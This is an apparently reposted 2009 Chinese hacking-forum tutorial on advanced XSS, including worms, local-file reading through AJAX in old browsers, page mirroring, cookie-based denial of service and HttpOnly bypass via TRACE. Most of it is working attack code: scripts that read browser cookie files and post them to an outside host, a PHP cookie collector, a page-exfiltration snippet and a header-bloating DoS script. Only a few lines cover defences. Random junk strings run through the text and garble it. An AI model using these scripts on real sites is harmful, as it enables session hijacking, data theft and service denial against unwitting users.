XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
) J/ S' u+ A( h5 q; LBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

5 t/ Q3 ^" x# y
$ j5 @. ~% F) W2 g9 J. ~) z
* V# B8 k6 b! @- G) j5 O/ T$ _5 o-------------------------------------------前言---------------------------------------------------------
& Z2 w6 a! ^1 \) r! ^& {( H
1 l* Q: W) E* F% m! d# [
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

1 q- \" v* z3 i. {& r
; ^) s; P% B, J7 T( _  k7 R. {0 Z如果你还未具备基础XSS知识,以下几个文章建议拜读:
6 t3 M- }' u! s$ i- ?# B( Ihttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
3 f( N$ y  ]3 E3 k; {http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
: D& N- W) B9 C% U& e1 Mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
  V  c5 F2 q) i; w2 |, nhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
0 b* d) I, [1 ?" E% ~, G& ~http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
9 Z% O5 }2 L+ f) l, K( Z$ r
! K0 }& S3 s( y7 t

5 a( m9 c. v( N+ {! \/ b
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
1 _- Y2 @8 p& p
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
6 L' W% r( L, F$ F% W3 u7 ~9 ?
$ @+ F9 H  S- [. {- C如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
, E) s# S: m% G2 h# }
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

. J6 b2 J( q$ n( [% Y: n. N. o3 ~QQ ZONE,校内网XSS     感染过万QQ ZONE.

* Y2 i, c& m$ T' Q' H0 z/ c+ ]# uOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

; f2 X2 @* W- H/ P1 M..........
复制代码------------------------------------------介绍-------------------------------------------------------------

+ T, E, p& k: F7 t4 t% z0 `什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
7 T9 F( p  Z3 g' d& n# E- T7 F
$ I& x0 @1 U$ I% f

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
8 I; U$ d% M8 N1 M7 q' w

& C6 B2 b7 p7 c% n
2 o4 o8 @% e9 a如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
5 V; K0 c- g) w$ Y3 C复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
5 x4 b! X& T$ A, J3 z0 O1 {7 T
1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
; D& t) z4 K; h( A: n& S! Z
1 _* s- ~! @! P( v3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
) C( g4 }/ n1 `9 p2 J) {

3 H  V# L8 ?7 B5 y0 A
% C7 F( p7 N# s1 k8 d! ^------------------------------------------研究正题----------------------------------------------------------
1 T; q* E8 b% Q
1 n7 v5 V2 b( G9 R
+ j7 N" d5 n/ G* E/ o
2 E5 M  V' z8 d% S: |9 C通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
5 i- s, J$ L2 Y* A/ Z5 w6 ~1 k1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 {; F# l4 }/ W+ n& x: ^* Q1 ^3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
/ a4 |. w5 j4 \4 O" X" {

+ X  O' `& r* j3 n  ~

& D0 b1 ?- M- k/ F
, @& F4 @0 q" R# Z(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


# q; ~5 M3 z- |$ j( m
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
" C- b8 n. O9 _  q1 P+ y0 r9 L

5 F/ i; q' d* r8 n9 E: y; b
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
& i8 E+ B: U( R6 ]4 O/ h! ^& {
2 n- s, q; I) p/ k. U& \$ [& e3 [
6 B8 }& y& p0 G+ \; y, H
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
5 J: x6 W2 C/ z* T1 \/ ]6 M# Z/ a
5 U  l; m: b. D0 q% x3 S) P8 w! `    function $(x){return document.getElementById(x)}



    function ajax_obj(){
3 O5 j' \  `% @
    var request = false;
0 e, A* [3 T3 b% k" i0 d
- U. `  [0 i  T    if(window.XMLHttpRequest) {
/ _* [- |6 Q! }5 l, d+ g4 z
+ G# t, y0 I3 q" T- i    request = new XMLHttpRequest();
! K* }+ D6 f* @; t% D
' r4 n- r9 W6 _3 }. d: |/ M2 _    } else if(window.ActiveXObject) {
" ?" G& s3 O) J( X
! H1 _' x& ^' t, _    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

) h" k4 V8 m# X

, O7 k- j8 A2 d    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 @, ^; Z- k6 \* I" u( j
  D* M) q4 w& g3 [/ B+ p% t& `/ S    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);

* k  H! c: _! m7 R  c/ H    } catch(e) {}
! D, V7 n8 ~6 ~3 S0 h8 P- f
    }
- h; S5 v% V5 f; V) `
6 x# q& F& H6 m2 g  ~9 p" y    }
/ l6 i6 s) F' \7 n
5 _. s! f3 x+ L0 G( S8 W* d    return request;

+ c% P0 {& H% ^" x    }
/ \9 o) [( w  z+ I+ w% s6 V* ^
    var _x = ajax_obj();

    function _7or3(_m,action,argv){

: w% w* h) I) p5 d3 h* G1 X. r    _x.open(_m,action,false);
* H1 {: _4 Y! ]+ w9 P. g) S
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

. `: D' D% o- ^1 n0 X    _x.send(argv);

8 f' N5 m; m; J9 M+ l4 s3 B7 ]    return _x.responseText;

    }
" q/ H4 }. f: P% V1 K( b( U2 S. W; C1 P
; e( M4 K  a! b" X
( O9 M& R0 Y- Z2 n9 C: b! \) ?
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
( V1 Y, Z7 L' I
6 s) D/ r. _, q: L7 u    alert(txt);
+ _' U7 |- T  T" v/ q8 D8 ^. y


    </script>
& Q3 g- x: x- E7 Z4 r9 N. g0 t0 H复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

2 d* d1 f" O( A+ k5 U    function $(x){return document.getElementById(x)}

! v1 z7 j9 ]2 h1 r; r

: }$ u0 X1 k+ ~8 _! E' z% Y, E    function ajax_obj(){

7 m7 F1 @& I2 j; x/ B- t6 N! @1 n    var request = false;

    if(window.XMLHttpRequest) {

4 ^" L4 l. p% t9 D5 n    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
7 n$ |7 z3 F/ `. E
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
: {4 h. W7 m. |5 k

9 S' _& Z; a; t9 R! X
) X2 p  f8 f& Q! n# ?" r  b0 S    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
5 `8 R: l1 n; {4 U, S8 Q% V
# {- m$ D& j/ R' r, X8 z% F' Z    try {
. p) R$ ?  [3 I% \7 n" X1 v0 S/ f
    request = new ActiveXObject(versions);
# o: z9 q+ A) s' f
7 i- K9 Y8 O- ^; s" ^: c    } catch(e) {}
' X) }; b! |* C2 c; s6 U, `  }+ i
* a: ^* g; u; k' ~3 U* m, k& M    }
6 Y) R9 f; H/ W- e1 M: f/ x* H
    }
' `6 R+ v* L: B+ V& e4 P
    return request;

    }

/ c* b) R3 N1 d0 C6 {    var _x = ajax_obj();
7 O9 N5 m) O( x: m; w7 V
( c8 t) Z3 q" [0 F    function _7or3(_m,action,argv){
9 D7 ^- I7 H0 @
4 Y: A! L$ n( L4 ^  v( b* v    _x.open(_m,action,false);
8 i3 |1 m# |! i4 P9 D7 X
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
6 T$ m: A8 |7 U6 I4 A; ~  V' C- K
$ `3 `# S9 G  x% ^6 k    return _x.responseText;

7 r7 k1 w! e; U9 w! [0 Z    }



    var txt=_7or3("GET","1/11.txt",null);

& G9 y1 H) I, C! k& q( _, }  }* @' n    alert(txt);


( V. V: O. P; x% \+ P2 c5 b6 ^
' }; Q" n! b' W7 O    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
  u3 y! h0 N) H
4 E/ V3 U; ]9 y+ V

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

: I: G- X) h! \: L4 W* }

7 n. U4 t& R8 s; Q; p& K/ ~<?   
( |% n! h, L1 y; V
; C* Y( r8 P- n9 o% l$ {/*  
3 f) \7 e! y% _9 D: v+ C- u# c
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

- d$ E  D, T) g, Z; q( s; _4 C3 n     www.inbreak.net   
4 {4 f! f0 t  s! Z- j( z. n1 v
     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

3 [! ?: ^  h, `6 s9 a5 n  R, G*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
' A, b% X0 m" _1 S+ `
header("Content-type: application/kxlzx");   

) k- a; X" e. _+ f% n/*  

  F( n6 L$ J/ O     set header, so just download html file,and open it at local.  
, a% ?: J- O6 O3 E
0 n  W; a8 n* D' g*/  
5 J/ e. m+ U( D5 i& O; w
4 D& l& y. s9 D?>   
4 n6 v0 B0 m- I$ p+ |1 x; x1 B' ?
7 U! g5 A* T1 |<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
2 D7 R# d3 {- I+ Y$ g3 R
2 c! [: P; v/ g0 i</form>   

9 I% R! c" `2 K6 {: D9 {2 a. l+ y<script>   
7 V% F  L" M( E( O) Y: z
function doMyAjax(user)   
. |6 q7 L$ ~: O9 x6 T0 R
* A: s6 I/ j; _8 T+ o{   

; W& m6 O1 L' i- \# _. kvar time = Math.random();   

; e9 ?& N& r$ I2 O/*  
% S8 N2 p9 {/ d! G4 R' z
- C; b$ R. |. ^+ l! ^the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
0 y, E1 T$ H  }" w( g. z, m* {- K
% s1 A% l# j2 ?" Oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
9 d* `& ~) N% \4 U/ U! k  U/ }' p
$ l7 ]& j' h/ r1 E, Tand so on...  
( v4 [, P; T. R; X- H4 g
*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

* z4 H' Q- A* K9 A/ _/ J   

; J- B6 K) I5 c. r7 Q# k, HstartRequest(strPer);   
6 F( t" a$ \$ o6 D. J- p


}   
1 e0 T  V  N% |# m0 E7 p  j! Q4 Z
" P2 x7 U( p6 G$ v1 v/ \& a, T   
! a" U' f1 ^; D. L! r
function Enshellcode(txt)   
. ^% N% L. l! h
8 O$ L. h* Y: |) ^7 v{   
- C6 E7 u+ }6 }+ b
: ]+ u( {/ A% i1 r/ Z) [( d! Bvar url=new String(txt);   
9 L2 n1 n" ^+ ^, h
var i=0,l=0,k=0,curl="";   
7 M0 [# w* V# J# x
l= url.length;   

9 D$ l7 |" p  A7 v9 E6 Vfor(;i<l;i++){   

k=url.charCodeAt(i);   

" N5 ]: T; v( h! j" S6 B  L5 |if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
/ C) y$ F6 Z! Z/ ^; l/ W. _6 B- A
if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
7 R' C- W8 r3 F8 N- g$ d$ }. C. w
/ @' x; [3 f! N* y! F( ?* J}   

   
, V& c- h* ]9 h4 x% h8 ]
   
2 i: G1 D# @8 N7 t; t
var xmlHttp;   
  Q- a3 V0 a' Y
- O3 B: a  n4 L" ofunction createXMLHttp(){   
' h) M% V8 q5 U8 s
5 z: d. \5 |0 D! t( O$ {% @     if(window.XMLHttpRequest){   
2 C: ~6 @1 g8 z! X" \
1 b! W0 x% y4 ~$ p. X% Q5 E$ |xmlHttp = new XMLHttpRequest();           

" M4 |5 s% t' K& o0 F- L. @0 k     }   
1 V# B0 k4 M" i4 ?
, ?" i1 T9 U2 m9 s, c3 A     else if(window.ActiveXObject){   
% O" ^( P& p4 y5 w, Q+ l
6 z, h4 V; V8 LxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
4 H5 H* w& T* }% Z
     }   
" [) B) W/ Q7 K. u& j9 X, R8 p
}   

   
: `& d3 K7 C, f# `9 H1 F2 x  s
0 \  {5 k* x! b. S( E+ T6 Yfunction startRequest(doUrl){   

   

7 u: {( I" |8 K5 @+ {8 F9 ]- s     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   
$ f' R  q) o7 U, W) n5 J7 F

; P7 J  W% X: [; S$ p6 i$ u5 B
     xmlHttp.open("GET", doUrl, true);   

3 l. |2 D5 L: P9 H# T( g

     xmlHttp.send(null);   
6 v1 w/ Z' }  F
$ F! H/ J! ~1 R2 v" c% y

8 \0 @$ O1 S& C$ ~8 M, M0 x6 [4 w
0 j. Q3 ^% G5 U1 \5 P& f7 }$ B
, V4 z7 Q& H- B}   
# v, O5 A, G7 b. v" }: H
0 r4 ?* D! F; n3 [   
* W: D  Q8 R& s$ }  R7 m; |  n
function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

& K. p; ?  H9 L6 c     var strResponse = "";   
! b$ `2 Z8 H0 J3 \% |7 I% |# c( u) c6 Z
$ o+ A/ x9 M" A% k& |6 P     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
: @5 N" f- [% X8 ^- Y8 r
        
# D; \6 [( R) R& Q8 ?
     }   

) I2 Q9 [$ U* ?}   

) `8 O! i- j1 j$ K; @   

7 \3 R7 m' W# i   
+ c' g' m/ r) L9 P6 D  ^
function framekxlzxPost(text)   

- t/ R) b. ?8 w: O: }' E{   
; s5 R5 P0 ?  g9 P1 ]
     document.getElementById("input").value = Enshellcode(text);   
# u. x7 O1 m; n  w: H- I8 I
     document.getElementById("form").submit();   
: J1 Y; X$ h+ _. O& a+ a& w, @9 [
' V! ^1 y$ _) O# i2 H6 W+ r}   
& n* E7 ?1 n9 d! J2 ?5 Q' S$ y
& S$ T* T3 a9 a' P& K3 g   

doMyAjax("administrator");   
1 d" H6 |0 F- H
8 e& G8 g% Y- m   
% W9 [  D0 K+ u4 E
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
0 h1 ?+ [4 e& W" F8 T
! D3 ~0 p% W' a0 Bvar xmlHttp;  

0 G4 ~0 `' L% K9 S& }( b( m$ b  Ofunction createXMLHttp(){  
( E$ [0 v7 x5 q3 d9 U
     if(window.XMLHttpRequest){  
) _$ o- n% K" T
         xmlHttp = new XMLHttpRequest();         
9 O6 y) N" U; U! W- \
     }  
) v7 \/ Y8 U, f
$ O1 R1 q0 b) ]6 _1 H) p6 o     else if(window.ActiveXObject){  

& d$ {- @9 T  R5 A         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

* j1 c! @2 L0 k+ o( O     }  
% s0 _- N9 f& D3 N7 z
+ q7 R  N% I8 H3 K) A9 n}  
  I$ B4 m" T8 p1 U  }
- I, f" N) J0 n- C, y' d1 n$ F   
# `" c3 d1 O  G
. `' o) g. ^  S/ Hfunction startRequest(doUrl){  

           
/ y& J, t' m% H0 _0 E' W6 A2 m& k( s7 c
     createXMLHttp();  

' B- e7 c# L' F. C0 V      
% h5 {" e' O7 P) d: Z! _5 U
* l$ `7 S- O( D9 G: v! o     xmlHttp.onreadystatechange = handleStateChange;  
% H5 y4 v& }3 ?. Q
4 [8 \; c& i6 X, }      
  s4 N# _0 ^' b' }
, v: ?6 Q- }# i1 R1 `; x     xmlHttp.open("GET", doUrl, true);  
- f( b6 {; p2 e( `
      

4 a! b; w3 Q+ J. u& S8 f* l     xmlHttp.send(null);  

      
) S" Y" J& P2 [& m6 t4 X
      

3 x) V9 C+ c' P) Y. S, `}   

' M. g8 d2 l3 G9 g6 x1 I6 m2 y# I* C   

7 W" x2 c2 z4 N1 h+ y# K$ k- T1 Efunction handleStateChange(){  

/ {1 }( @5 L6 [4 ^4 I     if (xmlHttp.readyState == 4 ){  

/ C2 ]4 }" ]$ }             var strResponse = "";  
3 H4 a& N" e% E! e0 J- g6 E
2 [/ m' z% L2 t0 j8 p$ {             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
+ E( j. k" h* Q+ x) A; q' ~
               
$ K4 p" ^# J0 T% F- T& q2 u& h: A
0 R3 S+ F" h- M( j9 Z% J: X* Y     }  
9 C# P' M( q9 Q2 \& W2 G$ x' g
}  
& `5 f% m4 l9 U
   

function doMyAjax(user,file)  

{  

         var time = Math.random();  

; y7 P# I0 S! Y' Z+ {+ ^           

8 D  t/ i" x- `# m3 x( ?         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

- k; v! z" B% Q& T4 G2 K$ t/ e$ }           

         startRequest(strPer);  

      

}  

   

function framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

1 f& f- N. L  ^. f* R8 ?. @     alert(/ok/);  

}  
3 C. K* u. ~$ c+ D2 t$ I
   
& g! b$ o$ I0 D7 `2 f; Y" Y$ F
1 N: Z- t  z7 a& R( k# `doMyAjax('administrator','administrator@alibaba[1].txt');  

   

</script>

( @( b+ C2 y' `7 g' L* l
7 i* U1 Q/ h6 q/ U  @
! \/ ~- U* v/ ~

a.php


5 [- q: d' a! B1 o
# Z: v6 s/ l  [$ @, E<?php      

1 z& ~, U! W  t9 Q   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

4 Y. M. |$ n5 |% Y  x$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
' h9 E" ]) ]6 ]3 u# U
2 o6 P& R& a" ?9 H: G% R  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
. E  T3 }: a% B3 z! \- D: Z8 u
$ ~0 u0 B! E  s  l; T: m* lfwrite($fp,$_GET["cookie"]);      
# m& G) f8 O6 L$ `& r, O+ d
: B6 k* F1 Y& H$ u* A+ M" `0 z$ Bfclose($fp);   
" {- i6 U. C( y" m
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

. t, d! l# q! I! P* w或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 U! ?  s$ q! t& s; n利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
/ B( v) k' |  v' O+ }& Y
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
8 E' t3 \7 X1 d0 t6 \8 g" P  _
7 O' A% E% d/ ~) R% r3 t; D//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

var image = new Image();
7 z9 L& e6 `3 e2 u9 V8 v4 i
, J7 f5 a! K. x; e* n2 S5 f1 oimage.style.width = 0;
- @; A' o0 N' u
/ W; _) C0 k4 m( G0 B% Aimage.style.height = 0;
& ^# B- O7 H( C3 L( [" j: z
image.src = s;

" z* E/ B( v/ i+ e}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
3 e& y$ i* r" K' P3 h) r
  P# [& i! t7 Rvar metastr = "AAAAAAAAAA"; // 10 A

var str = "";
0 d5 V- F4 h* F* r& j9 S2 \
! \. J, ?/ _6 ^0 bwhile (str.length < 4000){
4 F1 q8 Q& |4 V
    str += metastr;

& y6 ^& Q5 p* I1 t}


8 i% D( f! |, N5 o1 U" \$ G/ X" M+ `
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
( ~" t# S+ O- I3 t+ A2 v
1 c* {5 q) B! W</script>

+ U: c3 ^( i( ^( y. y/ V详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ M* q. G* v( F  k, Jserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
: x* b$ v# j6 @! I- n" }/ M: F! A3 |
. M3 z; W6 q! k' H% D) o4 k假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
9 J, q4 O. D& k+ l; i9 D攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
7 x& ~  g, P) U! v+ }
# a/ X; _0 K4 o- {0 d( G  C  s


+ m3 f8 Z4 Q& V" W3 i% J$ ~7 u
8 ?1 _' g) U! [6 K9 B
6 O, L7 K- X8 |/ j9 \" o(III) Http only bypass 与 补救对策:
7 ]1 o" }/ P1 Q
1 b" p% g, _2 `4 c' A什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
7 D+ C* a0 j5 Z" |) n) M以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
. g1 J6 R- a, ~& m' F
<!--

# g% B& Q6 \1 M" o( U( C& A+ Pfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
3 B; r1 i+ i& G6 V/ {6 s
alert(document.cookie);

}
5 L. m& s$ U3 L' y% j




function httpOnlyCookie() {
4 |$ ], f' w# H: L* J0 F' e4 _: y( I
+ z/ {1 S' ?% w* r3 V" u0 f1 Y" C9 ddocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
' {# C3 b6 X" Y6 Y! m& t8 T2 W
8 n. r1 W6 q: |) palert(document.cookie);}
" [8 A; n7 [+ _2 D7 U, o& w
$ Y( F1 o9 s& \* v

  W5 e4 U9 f& _2 E//-->
; u0 P3 g* [" b* A
+ Y; Q: K' s5 d7 }* V) F, R" p</script>


' n; t" ~8 A$ X; Q( A- I  M
' F# _1 J* w* P5 m) {6 Q/ R<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
0 D" ^' C. B' k1 K/ Y( n; S
8 B% J1 h+ K8 j; {9 ?<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

* t  n. H5 _' m$ s

var request = false;

        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

% _0 Y8 f+ r5 N* a            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');
7 Z( e3 Q1 T( B  ]+ M) o
            }

        } else if(window.ActiveXObject) {

! {, X9 {# D$ [            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

$ O' V  a0 P. x, D1 X1 C            for(var i=0; i<versions.length; i++) {

                try {
5 |( a' B4 G2 _; ]. W- a9 r
                    request = new ActiveXObject(versions);
5 m& o6 C; D! X0 c! O" T7 _1 y
                } catch(e) {}
  s2 J4 i8 A1 |( o% Q4 A( r# a" @
            }

        }
- n  X0 l% Y1 G! F
8 o% b4 p; r% @  n+ C' O1 @5 f1 CxmlHttp=request;

/ T' c+ R: f/ E4 ?1 TxmlHttp.open("TRACE","http://www.vul.com",false);

. s" j1 _9 s4 R0 o4 n! xxmlHttp.send(null);
, N6 [2 [" k" Y$ y1 y
xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

: C; m- Z$ N& {0 `</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

7 x' ^. }. T. }* ^/ Rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

" r, b. e: d) e( A0 U5 FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
7 W: z7 u  j9 `0 j
var resource=xmlHttp.responseText

resource.search(/cookies/);

4 |7 {7 u, q7 H3 _8 p# y......................

</script>
1 r  E) ]/ v3 a0 `9 g5 k7 J
0 ?: @( P0 H& C9 h
" U/ y- R+ ?7 X


如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
8 Z4 S4 a% u2 y& A- A$ q8 J
6 e' E  l' o- Z) v& m' j) ^) C[code]
! c4 C; i" g! b, S  E3 p
2 Q# z( E" B2 U" C! _RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
% [& s" _  x" }
RewriteRule .* - [F]



Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
6 j0 D  h& F$ Q& G: n$ o+ @5 x
...

http_access deny TRACE
